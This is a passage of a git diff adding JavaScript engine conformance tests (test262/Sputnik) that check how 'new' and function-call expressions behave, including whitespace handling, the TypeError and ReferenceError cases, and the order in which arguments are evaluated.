+++ b/js/src/tests/test262/ch11/11.2/11.2.1/browser.js
diff --git a/js/src/tests/test262/ch11/11.2/11.2.1/shell.js b/js/src/tests/test262/ch11/11.2/11.2.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.1/shell.js
diff --git a/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A1.1.js b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A1.1.js
new file mode 100644
index 000000000..10811b4b0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A1.1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between "new" and NewExpression are allowed
+ *
+ * @path ch11/11.2/11.2.2/S11.2.2_A1.1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("new\u0009Number") != 0) {
+ $ERROR('#1: new\\u0009Number == 0');
+}
+
+//CHECK#2
+if (eval("new\u000BNumber") != 0) {
+ $ERROR('#2: new\\u000BNumber == 0');
+}
+
+//CHECK#3
+if (eval("new\u000CNumber") != 0) {
+ $ERROR('#3: new\\u000CNumber == 0');
+}
+
+//CHECK#4
+if (eval("new\u0020Number") != 0) {
+ $ERROR('#4: new\\u0020Number == 0');
+}
+
+//CHECK#5
+if (eval("new\u00A0Number") != 0) {
+ $ERROR('#5: new\\u00A0Number == 0');
+}
+
+//CHECK#6
+if (eval("new\u000ANumber") != 0) {
+ $ERROR('#6: new\\u000ANumber == 0');
+}
+
+//CHECK#7
+if (eval("new\u000DNumber") != 0) {
+ $ERROR('#7: new\\u000DNumber == 0');
+}
+
+//CHECK#8
+if (eval("new\u2028Number") != 0) {
+ $ERROR('#8: new\\u2028Number == 0');
+}
+
+//CHECK#9
+if (eval("new\u2029Number") != 0) {
+ $ERROR('#9: new\\u2029Number == 0');
+}
+
+//CHECK#10
+if (eval("new\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029Number") != 0) {
+ $ERROR('#10: new\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029Number == 0');
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A1.2.js b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A1.2.js
new file mode 100644
index 000000000..d47eb10bf
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A1.2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between "new" and MemberExpression are allowed
+ *
+ * @path ch11/11.2/11.2.2/S11.2.2_A1.2.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("new\u0009Number()") != 0) {
+ $ERROR('#1: new\\u0009Number == 0');
+}
+
+//CHECK#2
+if (eval("new\u000BNumber()") != 0) {
+ $ERROR('#2: new\\u000BNumber == 0');
+}
+
+//CHECK#3
+if (eval("new\u000CNumber()") != 0) {
+ $ERROR('#3: new\\u000CNumber == 0');
+}
+
+//CHECK#4
+if (eval("new\u0020Number()") != 0) {
+ $ERROR('#4: new\\u0020Number == 0');
+}
+
+//CHECK#5
+if (eval("new\u00A0Number()") != 0) {
+ $ERROR('#5: new\\u00A0Number == 0');
+}
+
+//CHECK#6
+if (eval("new\u000ANumber()") != 0) {
+ $ERROR('#6: new\\u000ANumber == 0');
+}
+
+//CHECK#7
+if (eval("new\u000DNumber()") != 0) {
+ $ERROR('#7: new\\u000DNumber == 0');
+}
+
+//CHECK#8
+if (eval("new\u2028Number()") != 0) {
+ $ERROR('#8: new\\u2028Number == 0');
+}
+
+//CHECK#9
+if (eval("new\u2029Number()") != 0) {
+ $ERROR('#9: new\\u2029Number == 0');
+}
+
+//CHECK#10
+if (eval("new\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029Number()") != 0) {
+ $ERROR('#10: new\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029Number == 0');
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A2.js b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A2.js
new file mode 100644
index 000000000..e879390fc
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A2.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator "new" uses GetValue
+ *
+ * @path ch11/11.2/11.2.2/S11.2.2_A2.js
+ * @description If GetBase(NewExpression) or GetBase(MemberExpression) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ new x;
+ $ERROR('#1.1: new x throw ReferenceError. Actual: ' + (new x));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: new x throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+try {
+ new x();
+ $ERROR('#2: new x() throw ReferenceError');
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#2: new x() throw ReferenceError');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A3_T1.js b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A3_T1.js
new file mode 100644
index 000000000..3f52d9527
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A3_T1.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(NewExpression) or Type(MemberExpression) is not Object, throw TypeError
+ *
+ * @path ch11/11.2/11.2.2/S11.2.2_A3_T1.js
+ * @description Checking boolean primitive case
+ */
+
+//CHECK#1
+try {
+ new true;
+ $ERROR('#1: new true throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1: new true throw TypeError');
+ }
+}
+
+//CHECK#2
+try {
+ var x = true;
+ new x;
+ $ERROR('#2: var x = true; new x throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#2: var x = true; new x throw TypeError');
+ }
+}
+
+//CHECK#3
+try {
+ var x = true;
+ new x();
+ $ERROR('#3: var x = true; new x() throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#3: var x = true; new x() throw TypeError');
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A3_T2.js b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A3_T2.js
new file mode 100644
index 000000000..1ad67c548
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A3_T2.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(NewExpression) or Type(MemberExpression) is not Object, throw TypeError
+ *
+ * @path ch11/11.2/11.2.2/S11.2.2_A3_T2.js
+ * @description Checking "number primitive" case
+ */
+
+//CHECK#1
+try {
+ new 1;
+ $ERROR('#1: new 1 throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1: new 1 throw TypeError');
+ }
+}
+
+//CHECK#2
+try {
+ var x = 1;
+ new x;
+ $ERROR('#2: var x = 1; new x throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#2: var x = 1; new x throw TypeError');
+ }
+}
+
+//CHECK#3
+try {
+ var x = 1;
+ new x();
+ $ERROR('#3: var x = 1; new x() throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#3: var x = 1; new x() throw TypeError');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A3_T3.js b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A3_T3.js
new file mode 100644
index 000000000..c93406012
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A3_T3.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(NewExpression) or Type(MemberExpression) is not Object, throw TypeError
+ *
+ * @path ch11/11.2/11.2.2/S11.2.2_A3_T3.js
+ * @description Checking "string primitive" case
+ */
+
+//CHECK#1
+try {
+ new 1;
+ $ERROR('#1: new "1" throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1: new "1" throw TypeError');
+ }
+}
+
+//CHECK#2
+try {
+ var x = "1";
+ new x;
+ $ERROR('#2: var x = "1"; new x throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#2: var x = "1"; new x throw TypeError');
+ }
+}
+
+//CHECK#3
+try {
+ var x = "1";
+ new x();
+ $ERROR('#3: var x = "1"; new x() throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#3: var x = "1"; new x() throw TypeError');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A3_T4.js b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A3_T4.js
new file mode 100644
index 000000000..adbd1356c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A3_T4.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(NewExpression) or Type(MemberExpression) is not Object, throw TypeError
+ *
+ * @path ch11/11.2/11.2.2/S11.2.2_A3_T4.js
+ * @description Checking "undefined" case
+ */
+
+//CHECK#1
+try {
+ new undefined;
+ $ERROR('#1: new undefined throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1: new undefined throw TypeError');
+ }
+}
+
+//CHECK#2
+try {
+ var x = undefined;
+ new x;
+ $ERROR('#2: var x = undefined; new x throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#2: var x = undefined; new x throw TypeError');
+ }
+}
+
+//CHECK#3
+try {
+ var x = undefined;
+ new x();
+ $ERROR('#3: var x = undefined; new x() throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#3: var x = undefined; new x() throw TypeError');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A3_T5.js b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A3_T5.js
new file mode 100644
index 000000000..abf71da19
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A3_T5.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(NewExpression) or Type(MemberExpression) is not Object, throw TypeError
+ *
+ * @path ch11/11.2/11.2.2/S11.2.2_A3_T5.js
+ * @description Checking "null primitive" case
+ */
+
+//CHECK#1
+try {
+ new null;
+ $ERROR('#1: new null throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1: new null throw TypeError');
+ }
+}
+
+//CHECK#2
+try {
+ var x = null;
+ new x;
+ $ERROR('#2: var x = null; new x throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#2: var x = null; new x throw TypeError');
+ }
+}
+
+//CHECK#3
+try {
+ var x = null;
+ new x();
+ $ERROR('#3: var x = null; new x() throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#3: var x = null; new x() throw TypeError');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A4_T1.js b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A4_T1.js
new file mode 100644
index 000000000..cd6517cbf
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A4_T1.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If NewExpression or MemberExpression does not implement internal [[Construct]] method, throw TypeError
+ *
+ * @path ch11/11.2/11.2.2/S11.2.2_A4_T1.js
+ * @description Checking Boolean object case
+ */
+
+//CHECK#1
+try {
+ new new Boolean(true);
+ $ERROR('#1: new new Boolean(true) throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1: new new Boolean(true) throw TypeError');
+ }
+}
+
+//CHECK#2
+try {
+ var x = new Boolean(true);
+ new x;
+ $ERROR('#2: var x = new Boolean(true); new x throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#2: var x = new Boolean(true); new x throw TypeError');
+ }
+}
+
+//CHECK#3
+try {
+ var x = new Boolean(true);
+ new x();
+ $ERROR('#3: var x = new Boolean(true); new x() throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#3: var x = new Boolean(true); new x() throw TypeError');
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A4_T2.js b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A4_T2.js
new file mode 100644
index 000000000..bc776ec65
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A4_T2.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If NewExpression or MemberExpression does not implement internal [[Construct]] method, throw TypeError
+ *
+ * @path ch11/11.2/11.2.2/S11.2.2_A4_T2.js
+ * @description Checking Number object case
+ */
+
+//CHECK#1
+try {
+ new new Number(1);
+ $ERROR('#1: new new Number(1) throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1: new new Number(1) throw TypeError');
+ }
+}
+
+//CHECK#2
+try {
+ var x = new Number(1);
+ new x;
+ $ERROR('#2: var x = new Number(1); new x throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#2: var x = new Number(1); new x throw TypeError');
+ }
+}
+
+//CHECK#3
+try {
+ var x = new Number(1);
+ new x();
+ $ERROR('#3: var x = new Number(1); new x() throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#3: var x = new Number(1); new x() throw TypeError');
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A4_T3.js b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A4_T3.js
new file mode 100644
index 000000000..9027cf051
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A4_T3.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If NewExpression or MemberExpression does not implement internal [[Construct]] method, throw TypeError
+ *
+ * @path ch11/11.2/11.2.2/S11.2.2_A4_T3.js
+ * @description Checking String object case
+ */
+
+//CHECK#1
+try {
+ new new String("1");
+ $ERROR('#1: new new String("1") throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1: new new String("1") throw TypeError');
+ }
+}
+
+//CHECK#2
+try {
+ var x = new String("1");
+ new x;
+ $ERROR('#2: var x = new String("1"); new x throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#2: var x = new String("1"); new x throw TypeError');
+ }
+}
+
+//CHECK#3
+try {
+ var x = new String("1");
+ new x();
+ $ERROR('#3: var x = new String("1"); new x() throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#3: var x = new String("1"); new x() throw TypeError');
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A4_T4.js b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A4_T4.js
new file mode 100644
index 000000000..e240ba827
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A4_T4.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If NewExpression or MemberExpression does not implement internal [[Construct]] method, throw TypeError
+ *
+ * @path ch11/11.2/11.2.2/S11.2.2_A4_T4.js
+ * @description Checking Global object case
+ */
+
+//CHECK#1
+try {
+ new this;
+ $ERROR('#1: new this throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1: new this throw TypeError');
+ }
+}
+
+//CHECK#2
+try {
+ new this();
+ $ERROR('#2: new this() throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#2: new this() throw TypeError');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A4_T5.js b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A4_T5.js
new file mode 100644
index 000000000..72fdae876
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.2/S11.2.2_A4_T5.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If NewExpression or MemberExpression does not implement internal [[Construct]] method, throw TypeError
+ *
+ * @path ch11/11.2/11.2.2/S11.2.2_A4_T5.js
+ * @description Checking Math object case
+ */
+
+//CHECK#1
+try {
+ new Math;
+ $ERROR('#1: new Math throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1: new Math throw TypeError');
+ }
+}
+
+//CHECK#2
+try {
+ new new Math();
+ $ERROR('#2: new new Math() throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#2: new new Math() throw TypeError');
+ }
+}
+
+//CHECK#3
+try {
+ var x = new Math();
+ new x();
+ $ERROR('#3: var x = new Math(); new x() throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#3: var x = new Math(); new x() throw TypeError');
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.2/browser.js b/js/src/tests/test262/ch11/11.2/11.2.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.2/browser.js
diff --git a/js/src/tests/test262/ch11/11.2/11.2.2/shell.js b/js/src/tests/test262/ch11/11.2/11.2.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.2/shell.js
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_1.js b/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_1.js
new file mode 100644
index 000000000..8ae5b5e84
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_1.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.2/11.2.3/11.2.3-3_1.js
+ * @description Call arguments are evaluated before the check is made to see if the object is actually callable (FunctionDeclaration)
+ */
+
+
+function testcase() {
+ var fooCalled = false;
+ function foo(){ fooCalled = true; }
+
+ var o = { };
+ try {
+ o.bar( foo() );
+ throw new Exception("o.bar does not exist!");
+ } catch(e) {
+ return (e instanceof TypeError) && (fooCalled===true);
+ }
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_2.js b/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_2.js
new file mode 100644
index 000000000..5e7496d51
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_2.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.2/11.2.3/11.2.3-3_2.js
+ * @description Call arguments are evaluated before the check is made to see if the object is actually callable (FunctionExpression)
+ */
+
+
+function testcase() {
+ var fooCalled = false;
+ var foo = function (){ fooCalled = true; }
+
+ var o = { };
+ try {
+ o.bar( foo() );
+ throw new Exception("o.bar does not exist!");
+ } catch(e) {
+ return (e instanceof TypeError) && (fooCalled===true);
+ }
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_3.js b/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_3.js
new file mode 100644
index 000000000..04616e5a0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_3.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.2/11.2.3/11.2.3-3_3.js
+ * @description Call arguments are not evaluated before the check is made to see if the object is actually callable (undefined member)
+ */
+
+
+function testcase() {
+ var fooCalled = false;
+ function foo(){ fooCalled = true; }
+
+ var o = { };
+ try {
+ o.bar.gar( foo() );
+ throw new Exception("o.bar does not exist!");
+ } catch(e) {
+ return (e instanceof TypeError) && (fooCalled===false);
+ }
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_4.js b/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_4.js
new file mode 100644
index 000000000..f6970fa79
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_4.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.2/11.2.3/11.2.3-3_4.js
+ * @description Call arguments are evaluated before the check is made to see if the object is actually callable (property)
+ */
+
+
+function testcase() {
+ var fooCalled = false;
+ function foo(){ fooCalled = true; }
+
+ var o = { };
+ Object.defineProperty(o, "bar", {get: function() {this.barGetter = true; return 42;},
+ set: function(x) {this.barSetter = true; }});
+ try {
+ o.bar( foo() );
+ throw new Exception("o.bar does not exist!");
+ } catch(e) {
+ return (e instanceof TypeError) && (fooCalled===true) && (o.barGetter===true) && (o.barSetter===undefined);
+ }
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_5.js b/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_5.js
new file mode 100644
index 000000000..3e2315f03
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_5.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.2/11.2.3/11.2.3-3_5.js
+ * @description Call arguments are evaluated before the check is made to see if the object is actually callable (eval'ed)
+ */
+
+
+function testcase() {
+ var fooCalled = false;
+ function foo(){ fooCalled = true; }
+
+ var o = { };
+ try {
+ eval("o.bar( foo() );");
+ throw new Exception("o.bar does not exist!");
+ } catch(e) {
+ return (e instanceof TypeError) && (fooCalled===true);
+ }
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_6.js b/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_6.js
new file mode 100644
index 000000000..c2bfcc45a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_6.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.2/11.2.3/11.2.3-3_6.js
+ * @description Call arguments are evaluated before the check is made to see if the object is actually callable (getter called)
+ */
+
+
+function testcase() {
+ var o = { };
+ Object.defineProperty(o, "bar", {get: function() {this.barGetter = true; return 42;},
+ set: function(x) {this.barSetter = true; }});
+ try {
+ o.foo( o.bar );
+ throw new Exception("o.foo does not exist!");
+ } catch(e) {
+ return (e instanceof TypeError) && (o.barGetter===true) && (o.barSetter===undefined);
+ }
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_7.js b/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_7.js
new file mode 100644
index 000000000..2c320e778
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_7.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.2/11.2.3/11.2.3-3_7.js
+ * @description Call arguments are evaluated before the check is made to see if the object is actually callable (getter called as indexed property)
+ */
+
+
+function testcase() {
+ var o = { };
+ Object.defineProperty(o, "bar", {get: function() {this.barGetter = true; return 42;},
+ set: function(x) {this.barSetter = true; }});
+ try {
+ o.foo( o["bar"] );
+ throw new Exception("o.foo does not exist!");
+ } catch(e) {
+ return (e instanceof TypeError) && (o.barGetter===true) && (o.barSetter===undefined);
+ }
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_8.js b/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_8.js
new file mode 100644
index 000000000..67e5b9b80
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/11.2.3-3_8.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.2/11.2.3/11.2.3-3_8.js
+ * @description Call arguments are evaluated before the check is made to see if the object is actually callable (global object)
+ */
+
+
+function testcase() {
+ if (this!==fnGlobalObject()) {
+ return;
+ }
+
+ var fooCalled = false;
+ function foo(){ fooCalled = true; }
+
+ try {
+ this.bar( foo() );
+ throw new Exception("this.bar does not exist!");
+ } catch(e) {
+ return (e instanceof TypeError) && (fooCalled===true);
+ }
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A1.js b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A1.js
new file mode 100644
index 000000000..19dfdce73
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between MemberExpression and Arguments are allowed
+ *
+ * @path ch11/11.2/11.2.3/S11.2.3_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("Number\u0009()") !== 0) {
+ $ERROR('#1: Number\\u0009() === 0');
+}
+
+//CHECK#2
+if (eval("Number\u000B()") !== 0) {
+ $ERROR('#2: Number\\u000B() === 0');
+}
+
+//CHECK#3
+if (eval("Number\u000C()") !== 0) {
+ $ERROR('#3: Number\\u000C() === 0');
+}
+
+//CHECK#4
+if (eval("Number\u0020()") !== 0) {
+ $ERROR('#4: Number\\u0020 === 0');
+}
+
+//CHECK#5
+if (eval("Number\u00A0()") !== 0) {
+ $ERROR('#5: Number\\u00A0() === 0');
+}
+
+//CHECK#6
+if (eval("Number\u000A()") !== 0) {
+ $ERROR('#6: Number\\u000A() === 0');
+}
+
+//CHECK#7
+if (eval("Number\u000D()") !== 0) {
+ $ERROR('#7: Number\\u000D() === 0');
+}
+
+//CHECK#8
+if (eval("Number\u2028()") !== 0) {
+ $ERROR('#8: Number\\u2028() === 0');
+}
+
+//CHECK#9
+if (eval("Number\u2029()") !== 0) {
+ $ERROR('#9: Number\\u2029() === 0');
+}
+
+//CHECK#10
